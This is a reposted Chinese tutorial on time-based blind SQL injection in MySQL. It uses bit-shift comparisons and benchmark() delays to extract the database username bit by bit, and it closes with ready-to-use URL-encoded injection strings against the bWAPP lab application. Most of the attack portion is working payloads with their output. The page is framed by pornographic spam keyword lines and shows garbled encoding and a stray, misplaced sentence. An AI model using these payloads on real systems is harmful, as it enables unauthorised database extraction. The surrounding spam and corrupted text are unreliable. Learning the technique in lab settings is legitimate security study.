国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

如何使用MySQL位函數和運算符進(jìn)行基于時(shí)間的高效

發(fā)布時(shí)間:2021-09-04 11:56 來(lái)源:億速云 閱讀:0 作者:chen 欄目: 網(wǎng)絡(luò )安全

本篇內容主要講解“如何使用位函數和運算符進(jìn)行基于時(shí)間的高效SQL盲注”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“如何使用MySQL位函數和運算符進(jìn)行基于時(shí)間的高效SQL盲注”吧!

右移位運算符會(huì )將二進(jìn)制值1位的位數向右移位,如下所示:

mysql> select ascii(b'01110010');

+--------------------+

| ascii(b'01110010') |

+--------------------+

|                114 |

+--------------------+

1 row in set (0.00 sec)

mysql> select ascii(b'01110010') >> 1;

+-------------------------+

| ascii(b'01110010') >> 1 |

+-------------------------+

|                      57 |

+-------------------------+

1 row in set (0.00 sec)

這可用于在SQL盲注時(shí)枚舉字符串的字符。如果數據出現在完整的ASCII表中,則每個(gè)字符最多可以枚舉8個(gè)請求。

這里我們希望提取的數據是select user()查詢(xún)返回的第一個(gè)字符。

第1位:

我們首先找到第一位的值:

????????

有兩種可能性:

0 (Decimal value: 0) // TRUE condition

1 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| 0                                                                                    |

+--------------------------------------------------------------------------------------+

1 row in set (2.35 sec)

SQL查詢(xún)導致時(shí)間延遲,因此條件為T(mén)RUE,第一位為0

0???????

第2位:

現在我們來(lái)查找第二位的值,和上面一樣有兩種可能性:

00 (Decimal value: 0) // TRUE condition

01 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查詢(xún)沒(méi)有發(fā)生時(shí)間延遲,因此條件為FALSE第二位為1

01?????

第3位:

現在我們查找第三位的值,同樣兩種可能性:

010 (Decimal value: 2) // TRUE

011 (Decimal value: 3) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查詢(xún)沒(méi)有時(shí)間延遲,因此條件為FALSE第三位為1

011?????

第4位:

現在我們查找第四位的值,兩種可能性:

0110 (Decimal: 6) // TRUE

0111 (Decimal: 7) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查詢(xún)沒(méi)有時(shí)間延遲,因此條件為FALSE第四位為1

0111????

第5位:

現在我們查找第五位的值,兩種可能性:

01110 (Decimal: 14) /// TRUE

01111 (Decimal: 15) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.46 sec)

SQL查詢(xún)導致時(shí)間延遲,因此條件為T(mén)RUE第五位為0

01110???

第6位:

現在我們查找第六位的值,兩種可能性:

011100 (Decimal: 28) // TRUE

011101 (Decimal: 29) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.44 sec)

SQL查詢(xún)導致時(shí)間延遲,因此條件為T(mén)RUE第六位為0

011100??

第7位:

現在我們查找第七位的值,兩種可能性:

0111000 (Decimal: 56) // TRUE

0111001 (Decimal: 57) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| false                                                                                 |

+---------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查詢(xún)沒(méi)有時(shí)間延遲,因此條件為FALSE第七位為1

第四位必須為1

0111001?

第8位:

現在我們查找第八位的值,兩種可能性:

01110010 (Decimal: 114) // TRUE

01110011 (Decimal: 115) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');

+----------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |

+----------------------------------------------------------------------------------------+

| 0                                                                                      |

+----------------------------------------------------------------------------------------+

1 row in set (2.33 sec)

SQL查詢(xún)導致時(shí)間延遲,因此條件為T(mén)RUE第八位為0

01110010

到這里我們就完整獲取到了select user() 查詢(xún)返回的第一個(gè)字符的二進(jìn)制值,轉換成十進(jìn)制后為114。而114在A(yíng)SCII表中表示的是r字符,因此該數據庫用戶(hù)名的首字母為r。

mysql> select user();

+----------------+

| user()         |

+----------------+

| root@localhost |

+----------------+

1 row in set (0.00 sec)

為了說(shuō)明這種類(lèi)型的SQL盲注攻擊,我已向大家演示了如何在bWAPP易受攻擊的應用程序上,枚舉“select user()”返回的第一個(gè)字符的第一個(gè)和最后一個(gè)二進(jìn)制位:https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/

1. 第一位SQLi字符串返回TRUE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23

2. 第一位SQLi字符串返回FALSE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23

3. 第八位SQLi字符串返回FALSE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

国产日韩精品中文字无码| 亚洲色AV天天天天天天| 国产成人精品白浆久久69| 毛片大全真人在线| 艳Z门照片无码AV| 久久精品国产99精品国产2021|